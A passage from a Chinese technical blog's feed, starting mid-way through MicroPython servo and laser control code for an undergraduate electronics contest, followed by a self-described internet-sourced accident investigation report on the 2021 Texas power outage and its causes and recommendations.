punctuation">]</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token keyword">or</span> angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>            angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">90</span> <span class="token keyword">if</span> angle_params<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token keyword">else</span> <span class="token number">270</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> angle_params<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token builtin">round</span><span class="token punctuation">(</span>math<span class="token punctuation">.</span>degrees<span class="token punctuation">(</span>math<span class="token punctuation">.</span>atan<span class="token punctuation">(</span>angle_params<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">/</span> angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span>        <span class="token comment"># Determine the scope</span>        <span class="token keyword">if</span> <span class="token number">90</span> <span class="token operator">&lt;</span> angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">&lt;</span> <span class="token number">270</span><span class="token punctuation">:</span>            angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> arguments<span class="token punctuation">.</span>Angle_last <span class="token operator">*</span> <span class="token number">0.1</span> <span class="token operator">+</span> angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">0.9</span>            kalman_filter<span class="token punctuation">(</span>arguments<span class="token punctuation">,</span> angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span>            arguments<span class="token punctuation">.</span>Angle_last <span class="token operator">=</span> angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>            show_angle <span class="token operator">=</span> <span class="token number">180</span> <span class="token operator">-</span> angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>            <span class="token comment"># Check Ques 3</span>            <span class="token keyword">if</span> KG0<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token keyword">and</span> KG1<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>                Laser<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>                servo<span class="token punctuation">(</span>Servo_laser<span class="token punctuation">,</span> show_angle<span class="token punctuation">)</span>            lcd<span class="token punctuation">.</span>draw_string<span class="token punctuation">(</span><span class="token number">60</span><span class="token punctuation">,</span> <span class="token number">200</span><span class="token punctuation">,</span> <span class="token string">"Angle: "</span> <span class="token operator">+</span> <span class="token builtin">str</span><span class="token punctuation">(</span>show_angle<span class="token punctuation">)</span><span class="token punctuation">,</span> lcd<span class="token punctuation">.</span>BLUE<span class="token punctuation">,</span> lcd<span class="token punctuation">.</span>BLACK<span class="token punctuation">)</span>            lcd<span class="token punctuation">.</span>draw_string<span class="token punctuation">(</span><span class="token number">60</span><span class="token punctuation">,</span> <span class="token number">180</span><span class="token punctuation">,</span> <span class="token string">"Distance: "</span> <span class="token operator">+</span> <span class="token builtin">str</span><span class="token punctuation">(</span><span class="token number">275</span> <span class="token operator">/</span> math<span class="token punctuation">.</span>cos<span class="token punctuation">(</span><span class="token operator">-</span>show_angle <span class="token operator">*</span> math<span class="token punctuation">.</span>pi <span class="token operator">/</span> <span class="token number">180</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> lcd<span class="token punctuation">.</span>BLUE<span class="token punctuation">,</span>                            lcd<span class="token punctuation">.</span>BLACK<span class="token punctuation">)</span>            lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">251</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">25</span><span class="token punctuation">,</span> <span class="token number">225</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            location <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span><span class="token number">108</span> <span class="token operator">+</span> math<span class="token punctuation">.</span>tan<span class="token punctuation">(</span><span class="token operator">-</span>show_angle <span class="token operator">*</span> math<span class="token punctuation">.</span>pi <span class="token operator">/</span> <span class="token number">180</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">48</span><span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span>show_angle<span class="token punctuation">,</span> location<span class="token punctuation">)</span>            <span class="token keyword">if</span> <span class="token number">0</span> <span class="token operator">&lt;</span> location <span class="token operator">&lt;</span> <span class="token number">200</span><span class="token punctuation">:</span>                lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">251</span><span class="token punctuation">,</span> location<span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token comment"># Check Ques 4</span>            <span class="token keyword">if</span> KG0<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token keyword">and</span> KG1<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>                arguments<span class="token punctuation">.</span>JD <span class="token operator">=</span> angle_params<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>                Laser<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>                error <span class="token operator">=</span> arguments<span class="token punctuation">.</span>JD <span class="token operator">-</span> arguments<span class="token punctuation">.</span>pid                arguments<span class="token punctuation">.</span>pid <span class="token operator">+=</span> error <span class="token operator">*</span> <span class="token number">0.1</span>                arguments<span class="token punctuation">.</span>output <span class="token operator">=</span> <span class="token operator">-</span>arguments<span class="token punctuation">.</span>pid                <span class="token keyword">if</span> <span class="token operator">-</span><span class="token number">270</span> <span class="token operator">&lt;</span> arguments<span class="token punctuation">.</span>output <span class="token operator">&lt;</span> <span class="token operator">-</span><span class="token number">90</span><span class="token punctuation">:</span>                    servo<span class="token punctuation">(</span>Servo_laser<span class="token punctuation">,</span> <span class="token number">180</span> <span class="token operator">+</span> arguments<span class="token punctuation">.</span>output<span class="token punctuation">)</span></code></pre>]]></content>
    
    
    <summary type="html">本科阶段的参赛记录😵‍💫</summary>
    
    
    
    <category term="竞赛" scheme="https://blog.alexation.cn/categories/%E7%AB%9E%E8%B5%9B/"/>
    
    
    <category term="NUEDC" scheme="https://blog.alexation.cn/tags/NUEDC/"/>
    
  </entry>
  
  <entry>
    <title>美国得克萨斯州2·14大停电</title>
    <link href="https://blog.alexation.cn/ee/PowerOutage/"/>
    <id>https://blog.alexation.cn/ee/PowerOutage/</id>
    <published>2023-05-01T04:04:28.000Z</published>
    <updated>2025-11-23T07:18:12.715Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-weight:700;"><em>2021 Texas Power Crisis</em></h1><h3 id="作者前言">作者前言</h3><p>        该事故调查报告<strong>完全</strong>基于互联网分析，因此无法保证数据的准确性。同时还有以下注意要点<sup>[1]</sup>：</p><ul><li>本文档中的信息是初步信息，可能受到发生变化后统计不及时的影响。</li><li>就本文件而言，“停电”是发电机容量完全不可用，“减额”是该容量部分不可用。</li><li>图表中反映的所有发电机停机和降额值均基于发电机铭牌容量，即发电机制造商指定的最大可能 MW 输出。 由于风能和太阳能输出通常远低于指定的铭牌容量，因此用于编写本报告的这些单元的停电和降额 MW 值通常远高于在没有停电的情况下可用的实际电量或减额。</li><li>无法披露特定单元的停电原因，因为它们是受保护的信息。</li></ul><p>        本次报告的大部分数据来自于ERCOT（得州电力可靠性协会），部分观点可能来自统计学家或者专家分析。此外，该报告依据中华人民共和国应急管理部办公厅发布的相应要求<sup>[2]</sup>编写（字体、图表、排版以及部分细节等未进行格式规范）。</p><h2 style="text-align:center;font-weight:700;">美国得克萨斯州2·14特别重大电力安全事故调查报告</h2><h3 id="一、报告开篇和事故性质认定">一、报告开篇和事故性质认定</h3><p>        2021年得克萨斯州大停电是指美国得克萨斯州在2021年2月中因为极端天气而出现的大规模停电事件。高峰时得州有450万户家庭和企业停电，州内供水设施、食物供应链和网络通讯设施也受到影响。经调查认定，此次大停电事故是一起因寒潮这一直接原因造成的电力安全事故。</p><h3 id="二、事故基本情况">二、事故基本情况</h3><p>        为了更好地分析事故的起因以及影响，充分了解事故发生的地点、时间以及管理单位等关键信息是必需的。</p><h4 id="（一）事故发生单位及相关单位概况">（一）事故发生单位及相关单位概况</h4><p>        美国电网迄今已有100多年的建设发展历史，最初是由私营和公营电力公司根据各自的负荷和电源分布组成一个个孤立的电网，随后在互利原则基础上通过双边或多边协议、联合经营等方式相互联网，逐步形成了东部、西部和得克萨斯三大联合电网， 这三大联合电网之间仅由少数低容量的直流线路连接，分别占美国售电量的73%、19%和8%。美国的输电网纵横交错，常见的电压等级有765千伏、500千伏、345千伏、230千伏、161千伏、138千伏、115千伏。据美国能源信息署（EIA）统计， 2012年美国200千伏以上高压输电线路有30.7万公里，其中包括约3888公里的765千伏交流输电线路，以及3545 公里±500千伏直流输电线路<sup>[3]</sup>。从将各种电力资源可靠地整合到电网，到为北美三分之二的地区协调发电和输电，ISO 和 RTO 使发电与保持照明的需求即时匹配<sup>[4]</sup>。</p><img src="https://img.alexation.cn/blog/post/ee/PowerOutage/1.png" alt="图1 主要电网互联系统" style="zoom:50%;" /><p>        而本次大停电事故发生地点在美国得克萨斯州，作为该地区的独立系统运营商，ERCOT 在连接超过 52,700 英里输电线路和 1,100 台发电机组（包括专用网络）的电网上安排电力。 它还为竞争激烈的批发大容量电力市场执行财务结算，并管理竞争选择区域中 800 万处场所的零售交换。 ERCOT 是一家会员制 501©(4) 非营利性公司，由董事会管理，并受德克萨斯州公用事业委员会和德克萨斯州立法机构的监督。 其成员包括消费者、合作社、发电商、电力营销商、零售电力供应商、投资者拥有的电力公司、输电和配电供应商以及市政拥有的电力公司<sup>[5]</sup>。</p><h4 id="（二）事故发生单位安全管理情况">（二）事故发生单位安全管理情况</h4><p>        早在2011年，ERCOT已经存在一套完整的紧急操作，该操作旨在解决 ERCOT 系统可靠性不足且没有显而易见的解决方案的的紧急情况<sup>[6]</sup>。</p><h4 id="（三）事故发生经过">（三）事故发生经过</h4><p>        2021年2月，得克萨斯州遭遇了一场重大电力危机，这是在2月10日至11日、13-17日、和15-20日横扫美国的三场严冬风暴期间发生的。 风暴引发了德克萨斯州历史上最严重的能源基础设施故障，导致水、食物和热量短缺<sup>[7]</sup>。 超过 450 万家庭和企业断电，有的断电好几天。 至少有246人直接或间接丧生，据估计，这场危机造成的死亡人数高达702人。</p><h4 id="（四）人员伤亡和直接经济损失情况">（四）人员伤亡和直接经济损失情况</h4><p>        到2月17日，至少有21人死于与冬季风暴有关的原因。 到2月19日，这一数字更新为至少32人死亡，死亡与一氧化碳中毒、车祸、溺水、房屋火灾和体温过低有关。2月21日，死亡人数增加到70人<sup>[8]</sup>。据估计，寒潮和冬季风暴造成的损失至少为 1950 亿美元。</p><h4 id="（五）其他情况">（五）其他情况</h4><ul><li>由于管道冻结和爆裂，超过 1200 万人的供水服务中断<sup>[9]</sup>。</li><li>恶劣的天气导致许多消防栓在紧急情况下无法使用。</li><li>由于停止和启动化石燃料基础设施（例如化工厂和燃料精炼厂）而导致污染物大量释放。</li><li>得克萨斯州的电网危机已经扩大到不仅仅是一场自然灾害和治理失败。</li><li>COVID-19疫苗的运送被延迟，无法正确储存疫苗的设施被要求将疫苗转移给可以储存疫苗的设施。</li><li>由于全州持续停电，许多人在家中面临冰冻温度。</li><li>…</li></ul><h3 id="三、事故应急处置及评估情况">三、事故应急处置及评估情况</h3><p>        从事故发生到结束，政府以及社区的事故应急处置能力以及紧急情况响应速度都对事故范围有着很大影响。</p><h4 id="（一）事故信息接报及响应情况">（一）事故信息接报及响应情况</h4><p>        州长阿博特于2月12日发布了一份灾难声明，据此他动员了包括德克萨斯军事部在内的各个部门进行除雪和援助滞留的驾车者。随着局势的恶化，州长阿博特于2月13日要求发表联邦紧急声明，拜登总统于2月14日批准了该声明。</p><p>        为了缓解能源短缺，州长阿博特命令天然气生产商不要将天然气出口到州外，而是在德克萨斯州内销售。他还呼吁 ERCOT 领导人辞职。前众议员 Beto O’Rourke 经营着一家虚拟电话银行，可以联系全州超过780,000名老年人。得克萨斯州科罗拉多市市长蒂姆·博伊德 (Tim Boyd) 发表评论批评市民没有为冬季风暴做准备，并表示：“强者生存，弱者灭亡”后，遭到强烈反对。 他在争议后辞职。</p><p>        2月14日，拜登总统宣布德克萨斯州进入紧急状态，授权国土安全部和联邦紧急事务管理局（FEMA）在德克萨斯州全境提供紧急援助。FEMA 向该州发送了 60 台发电机以及水和毯子。</p><p>        当地教堂、社区中心和其他地点为受影响的个人开设了暖气站，并要求提供物质和金钱捐赠以帮助受影响的人。几个当地的互助团体以物资的交付和分配作为回应，特别是在受灾最严重的休斯顿和奥斯汀地区。碧昂斯 (Beyoncé) 和瑞茜·威瑟斯彭 (Reese Witherspoon) 等名人与公司合作提供金钱救济，亲自捐款，并向社交媒体粉丝提供捐款链接，以提高救济和意识。 通过他的“我们是德克萨斯”虚拟慈善音乐会，Matthew McConaughey 和他的妻子 Camila Alves McConaughey 筹集了超过 770 万美元，以继续支持受风暴影响的人们。</p><p>        国会女议员亚历山大·奥卡西奥-科尔特斯组织了一场筹款活动，为受影响的德克萨斯人提供食物、水和住所，第一天就筹集了 200 万美元。她随后前往休斯敦与志愿者一起帮助康复。 她和其他民主党人一起参观了风暴留下的破坏以及配送中心和交付地点。 最后，她筹集了 470 万美元<sup>[10]</sup>。</p><h3 id="四、事故原因分析">四、事故原因分析</h3><p>        德克萨斯州的绝大多数家庭都配备了电加热器，其技术相当于烤面包机烤箱。在最严重的冷锋期间，居民们启动了那些效率低下的单位，有些人甚至打开和打开电烤箱并使用吹风机。结合事故发生的背景以及外内部因素等，事故的直接原因是：寒潮造成电力需求急剧升高，以及得克萨斯州的电力设备没有良好的防冻措施并且极端低温与冻雨天气导致的机组非计划停运、降功率运行及无法开机等发电侧故障。</p><h4 id="（一）直接原因分析">（一）直接原因分析</h4><p>        与极端天气相关的强制停电数量可能有多种触发因素，但总的来说，它们似乎分为两大类。这些类别是<sup>[11]</sup>：</p><ol><li>机组无法启动或维持与气候相关的运行状态，包括基于燃料的设施以及可再生能源（主要是风能）</li><li>优先权的减少或丧失将天然气重新分配给燃气设施。</li></ol><img src="https://img.alexation.cn/blog/post/ee/PowerOutage/2.png" alt="图2 燃料减额量" style="zoom: 25%;" /><p>        由极端低温、冻雨天气直接造成的发电侧故障是事故的首要原因。应该指出的是，风能资产受到了极大的关注，但事实表明，所有资源都受到了实质性影响，没有一类资源比其他资源受到的影响更大。结合图2的燃料减额量<sup>[12]</sup>注意到天然气以及风能供应占比较大而且都受到了很大影响。</p><p>        例如，风机叶片结冰可能导致风电机组非计划停运或降功率运行，发电厂控制和信号装置内测压水柱冻结可能引发装置误动，发电厂给水系统、通风系统、润滑系统等内部液体冻结可能导致设备无法正常工作等。在寒冷潮湿的条件下旋转的风力涡轮机叶片可以在其叶片宽一码的尖端积聚近一英尺厚的冰。这会破坏叶片空气动力学。 这破坏了整个涡轮机的平衡。 根据爱荷华州立大学 Martin C. Jischke 航空航天工程教授和该大学飞机结冰物理学和防/除冰主任 Hui Hu 领导的一项最近发表的实地研究，这可能会中断高达 80%的能源生产<sup>[13]</sup>。Hu 从事涡轮叶片结冰的实验室研究已有大约 10 年，包括在独特的 ISU 结冰研究隧道中进行实验。 其中大部分工作得到了爱荷华州能源中心和国家科学基金会的资助。</p><p>        一些风力涡轮机确实冻结了，但占该州发电量一半左右的天然气是造成短缺的主要原因。 工厂崩溃了，天然气供应链和管道也崩溃了。</p><p>        通常有两个与受恶劣天气事件影响的电网架构相关的组件：弹性和可靠性。电网弹性是承受电网压力事件而不会遭受操作损害或适应压力的能力。这主要是关于电网或电力消费者不会发生什么。 简而言之，弹性是电气系统在不持续断电的情况下应变或变形的能力。另一方面，可靠性是衡量弹性被破坏后的行为的指标。持续中断的开始是从弹性域到可靠性域的过渡点。</p><p>        在这个极端的冬季事件中，ERCOT 管理系统以满足在这个极端天气事件发生时 ERCOT 监管、运营和市场限制范围内的可靠性参数，以避免整个系统出现故障。紧急系统措施采用了减载，以避免电气系统完全受损。电网可靠性的主要组成部分之一是资源储备的可用性，可以在发电资源持续中断期间将其部署到电网。在这次事件中，在线发电和资源储备，包括备用和备用发电资源，都受到极端温度的影响，无法满足负荷需求。这反过来又需要减载以维持供需的实时平衡。</p><img src="https://img.alexation.cn/blog/post/ee/PowerOutage/3.png" alt="图3 发电机停机以及减额原因" style="zoom: 33%;" /><p>        图3中显示的停电容量随着周日风暴的到来而急剧增加，并从周一上午晚些时候到周三中午保持相当稳定。然而，如图4所示，停电的净水平掩盖了整个星期持续的发电可用性波动，在整个活动期间，发电机不断停运和投入使用。</p><img src="https://img.alexation.cn/blog/post/ee/PowerOutage/4.png" alt="图4 增量式发电机停电和按小时降额" style="zoom: 33%;" /><p>        极寒天气下机组燃料问题导致的发电侧故障是事故的第2个重要原因，而这部分故障中，以天然气为燃料的机组故障占87%，其他燃料导致的故障仅占13%。一方面，极端低温、冻雨天气使得天然气井井口发生冻结，道路交通运输条件也随之恶化，天然气设施的维修无法正常进行，为了防止冰冻带来的影响，部分天然气设施提前关停，这使得天然气产量大幅下降；另一方面，天然气设施的供电，也因极寒天气导致的电厂故障与负荷轮停而面临严重不足，这进一步限制了天然气的生产<sup>[14]</sup>。启动负荷轮停时的一大疏忽，恰恰在于没有将天然气设施作为关键负荷，保障其电力供应，导致了“正反馈”式的传播效应。由机组燃料问题引发的大量发电侧故障，与美国中南部及得州区域燃气机组装机容量占比过半以及电-气能源间的紧密耦合（electricity-gas interdependence）是密不可分的。</p><h4 id="（二）间接原因分析">（二）间接原因分析</h4><p>        1999年，得克萨斯州设定了可再生能源目标。如今，得州的风能占全美的30%左右。但此次供电系统的崩溃则使人们开始质疑得州的电力系统设计与其不断推进的可再生能源计划是否有一定风险。部分责任归咎于德克萨斯州电力市场的独特设计。 在美国 48 个相邻的州中，它是唯一一个拥有自己独立电网的州——得克萨斯互联。 这意味着当发电机发生故障时，该州无法从境外进口电力。但是即使存在跨州调节的可能性，与ERCOT相邻的SPP和MISO也因极寒天气而面临电力供应紧张，且彼此间的传输线也受天气影响多遇故障，导致ERCOT至多仅能从相邻电网受入略超100万千瓦的电力，也难以有效缓解电力供应危机。</p><p>        美国两党政客数十年以来一直在推动的对可再生能源的补贴，使得电网变得不稳定。与风能相较，煤炭和核能受到更严格的监管，这使得州等多地的燃煤电厂因缺乏竞争力而关闭。过去10年里，全美停止运营的燃煤电厂大约可为6000万户家庭提供电力。此外，许多核电站也陆续关闭。然而，电网对风能和太阳能等间歇性可再生能源的依赖程度越高，在供需发生巨大变化时的稳定性就越低。在质疑者看来，得州此次的电网崩溃显示出了可再生能源的风险与局限性。那么，寒潮过后该州面临着两个主要问题：是否要增加电力储备能力，以及如何确保电力设备应对极端天气的能力。</p><h3 id="五、有关责任单位存在的主要问题">五、有关责任单位存在的主要问题</h3><h4 id="（一）事故单位">（一）事故单位</h4><p>        运营电网的德克萨斯州电力可靠性委员会 (ercot) 没有正确预测风暴导致的能源需求是导致这次事故的一个潜在原因。 有人说这几乎是无法预测的，但在前一周就有关于即将到来的恶劣天气的警告，而 ercot 的预测非常短。 能源投资银行 Tudor, Pickering, Holt &amp; Co (tph) 的乔治·奥利里 (George O’Leary) 表示，去年夏天的限电已经表明电网缺乏过剩产能<sup>[15]</sup>。</p><p>        负荷的持续激增及发电机组的大面积停运使得整个电力系统的频率不断下降，在2月15日凌晨12点18分系统频率已降至正常线以下，因此，ERCOT在凌晨1点20分启动了两轮100万千瓦的负荷轮停，但频率仍在降低，情况最坏时留给ERCOT处理频率过低问题的时间只剩9分钟，否则将可能触发1700万千瓦的机组因频率过低而停机，并导致系统大停电。可见，ERCOT当时采取大规模的负荷轮停亦是无奈之举。</p><p>        在此事件之前，ERCOT 服务区域在 2011 年 2 月的第一周以及 1983 年、1989 年、2003 年、2006 年、2008 年和 2010 年经历了类似的极端寒冷天气事件。以下内容总结在执行摘要中2011 年 FERC 员工报告<sup>[16]</sup>：</p><div class="note purple flat"><p>“进入 2011 年 2 月的暴风雨，无论是 ERCOT 还是在事件期间启动轮流停电的其他电力实体都预计无法满足客户需求。 根据预期的发电机可用性，它们都有足够的备用裕度。 但事实证明，这些储备不足以应对事件期间因跳闸、降额和启动失败而损失的大量容量。”</p></div><p>        从本质上讲，该报告的结果似乎与2021年极端冬季风暴事件的结果一致。该报告的建议包括26条建议，以提高极端冬季天气事件期间的可靠性能。2011年和2021年极端天气事件的发生时间（2月）和类型都相似。然而，在2021年，由于强制停电以及由于强制停电而无法使用的机组总数，发电量损失明显增加。在2021年的活动期间，供不应求导致的频率偏差变得更加严重。鉴于建议是在2011年事件之后制定的，问题仍然是为什么类似的事件会产生类似的结果，但应该指出的是，2021年的事件在低温方面更为“极端”。</p><h4 id="（二）有关监管部门">（二）有关监管部门</h4><p>        根据 PJM 的强制执行标准，《联邦电力法》第 215 条要求电力可靠性组织 (ERO) 制定强制性和可执行的可靠性标准，这些标准须经 FERC 审查和批准。 根据委员会批准的与可靠性标准相关的 NERC 实施计划，委员会批准的可靠性标准在美国成为强制性的和可执行的。 根据 2005 年能源政策法案 (EPAct 2005)，国会通过添加与电网可靠性相关的新第 215 条，扩大了 FERC 在联邦电力法案 (FPA) 下的作用和管辖权。 FPA 第 215(e) 节授权委员会或电力可靠性组织（由 FERC 审查）对违反可靠性标准的大容量电力系统的用户、所有者或运营商处以罚款。</p><p>        由于 ERCOT 独立系统运营商管理的输电网仅位于德克萨斯州内，并未与美国其他地区同步互连，因此完全在 ERCOT 内发生的电能传输在某些情况下不受委员会管辖 《联邦权力法》的执行部分。 大容量电力系统的可靠性已通过 NERC 与 Texas RE 之间的授权协议进行授权，该协议将合规性和执法权授予 Texas RE，以确保大容量电力系统维持 NERC 可靠性标准。 确定 Texas RE 是否具有关于发电设施风化的合规和执法权限需要对 NERC 和 Texas RE 之间的 ERO 协议中的陈述进行更详细的评估。</p><h3 id="六、事故主要教训">六、事故主要教训</h3><p>        从1983年到2021年，相对于我国连续三十年无大停电事故，如此高频率的停电已经不是偶然因素导致。尽管事故后有应急处置、原因分析、后续调查等一系列流程化措施，但是数十年来仍得不到有效改观，甚至截至 2022 年 1 月，电力系统几乎没有变化，德克萨斯州仍然面临另一场冬季风暴中大停电的风险<sup>[17]</sup>。</p><p>        对于发电侧以及天然气供给侧均应在寒潮到来前做充足得组合预测，提前准备应急人员与建立互助项目等。虽然分散式电网管理体制增加电网规划、建设、运营协调难度，不利于电网协调可持续发展，以及美国电网产权分散、 管理分散，形成区域化发展格局，难以整合成协调统一的全国性电网。但是多年来相关企业得预测不准确及时以及事后设备改建不充分等要素共同导致了这次事故，只有相关企业能够加大改进力度，才能避免再次发生大面积停电事故。</p><h3 id="七、事故整改和防范措施">七、事故整改和防范措施</h3><h4 id="（一）对发电侧的建议">（一）对发电侧的建议</h4><ol><li>发电机所有者（Generator Owner，GO）应负责辨识容易受寒冷天气影响的发电设备或系统。</li><li>发电机所有者应对易受严寒影响的设备或系统明确并执行防冻保护措施，并每隔一段时间分析设备系统是否变化，是否需要额外的防冻措施。</li><li>发电机所有者在提供运行温度数据时需同时考虑降雨及冷风对机组运行的影响。</li><li>发电机所有者应审查出现故障的机组并制定修正行动方案（Corrective Action Plan，CAP），进一步修订往后的寒冷天气应对计划。</li><li>发电机所有者与发电机运行人员（Generator Operators，GOP）每年对每台机组都应开展针对寒冷天气预防计划的测试。</li><li>发电机所有者应改造现有机组，使其在规定温度与天气条件下（参考该地区的历史极端温度与天气）能够正常运行。</li><li>在计算寒冷天气下的可信容量并用于紧急运行调度时，发电机所有者应综合天然气的供应情况向功率平衡责任主体（Balancing Authorities，BA）提供可靠的可信容量预测，功率平衡责任主体应进一步综合自身判断向可靠性协调机构（Reliability Coordinators，RC）提供可靠预测，并据此制定应急管理计划。</li><li>发电机所有者应至少在入冬前、冬季中、收到极端天气的预报等时点，定期检查并维护机组的防冻措施。</li><li>为了向功率平衡责任主体提供准确信息，发电机所有者及发电机运行人员应明确所有与发电机组使用的天然气的购买和运输相关的可靠性风险。</li><li>发电机所有者应综合考虑极寒天气下机械压力、热循环疲劳、热压力等对过滤器、锅炉、管道、布线等部件与系统的影响，并制定措施预防极寒天气下的机械与电气故障。</li><li>发电机所有者在极寒天气来临前应考虑天气预测制定发电机组的运行计划，尽可能降低严寒天气对机组出力及可靠性的影响。</li><li>发电机所有者应检查发电机低频继电器、机组平衡继电器以及与控制系统相关的调节参数的设置是否匹配，避免导致发电机组在低频或频率变化过快的情况下跳闸。</li></ol><h4 id="（二）对天然气供给的建议">（二）对天然气供给的建议</h4><ol><li>国会、立法机构以及天然气设施管制机构，应要求天然气设施制定寒冷天气预防计划，包括如何应对特定的寒冷天气并运行。</li><li>天然气设施应采取保护措施以应对冰冻等其他寒冷天气情况，包括脆弱设备防冻、准备充足应急人员、建立互助项目等。</li><li>天然气生产设施的所有者或运营商应升级其检测控制与数据采集系统，以便在紧急情况下实时地增加或减少其产量。</li><li>由FERC牵头，组织对天然气基础设施拥有管制权的单位与区域可靠性组织等单位，建立多方论坛讨论方案以提升支撑电力系统生产的天然气基础设施的运行可靠性，讨论问题包括天然气系统的信息是否需要向电力系统共享、天然气系统防冻措施的合理补偿途径、天然气储存设备是否需要增加等。</li><li>功率平衡责任主体禁止关键天然气基础设施（电）负荷的需求侧响应项目，避免因需求响应项目导致天然气产量下降。</li><li>功率平衡责任主体与输电系统操作员（Transmission Operators，TOP）允许天然气基础设施辨识关键（电）负荷，禁止人工削减其关键负荷，负荷削减机构将这些关键负荷纳入计划方案并避免削减其负荷。</li></ol><h4 id="（三）对其他机构及政府部门的建议">（三）对其他机构及政府部门的建议</h4><ol><li>独立系统运营商（Independent System Operator, ISO）/区域输电组织（Regional Transmission Organization, RTO）及公用事业委员会应当设计合理的市场机制，补偿发电机所有者进行机组防冻改造、翻新或设计新机组时的成本。</li><li>在可靠性标准修改完成前的过渡时期，FERC、NERC及区域电力可靠性组织（Regional Entities），应当组织具备应对极寒天气经验的工作人员召开技术研讨会议，就如何提升机组防冻能力开展讨论。</li><li>规划协调机构（Planning Coordinators）应当拟定更准确的冬季系统备用边界计算流程，采用真实的冬季历史峰值负荷进行计算，同时重新考虑极寒天气下，燃气机组与风电机组的真实可用容量。</li><li>输电资产拥有者（Transmission Owners，TO）、输电系统操作员，应当与配电提供商（Distribution Providers，DP）、可靠性协调机构合作，评估并改进所拟定的人工负荷轮停计划。</li><li>州立、联邦与当地责任主体，应当考虑成立紧急事故响应中心，为电–气耦合能源系统应对极端天气事件做好充足准备。</li><li>功率平衡责任主体应当雇用了解天气-负荷间关联的员工，扩大其短期负荷预测的范围，采用多种预测模型、多个气象数据源，考虑区域间差异性及分布式可再生能源影响，提高短期负荷预测的精度。</li><li>ISO/RTO及州立公共事业委员会、立法机关应当设计合理的市场机制，对可在短时间内快速响应的需求侧管理资源，供电短缺时的关键性需求响应资源，提高能源利用效率的措施等进行奖励。</li><li>邻近的可靠性协调机构、功率平衡责任主体以及输电系统操作员，应当进行区域间双向季节性潮流转移的仿真计算；可靠性协调机构、输电系统操作员与配电提供商，应当定期自行开展负荷轮停场景的仿真计算，以便调度员更好地应对极寒天气。</li><li>规划协调机构、输电资产拥有者、输电系统操作员应当与发电机所有者、发电机运行人员进行协商，确保机组延时保护系统与电网低频减载装置之间的协调一致，由区域电力可靠性组织进行检查。</li><li>功率平衡责任主体、可靠性协调机构、输电系统操作员应当完善紧急事故报告机制，缩短发电机所有者、发电机运行人员与输电系统操作员报告发输电故障的时间。</li><li>管理天然气设施的联邦、州立相关机构，应当合作开展研究，如何制定合理的措施进一步保障极寒天气下的天然气供给。</li><li>ERCOT应当开展研究，评估ERCOT区域电网与邻近区域电网之间新建联络线的必要性。</li><li>FERC-NERC-区域电力可靠性组织团队应当开展研究，评估ERCOT在极寒天气条件下黑启动机组的可用性，并与发电机所有者合作研究ERCOT历史上发生的低频事件及重要的频率扰动事件。</li><li>可靠性协调机构、功率平衡责任主体、区域电力可靠性组织、输电系统操作员、输电资产拥有者、配电提供商，以及一个或多个代表美国天然气设施的机构，应当合作研究如何辨识关键的天然气设施负荷，从而更好地应对极寒天气。</li></ol><h4 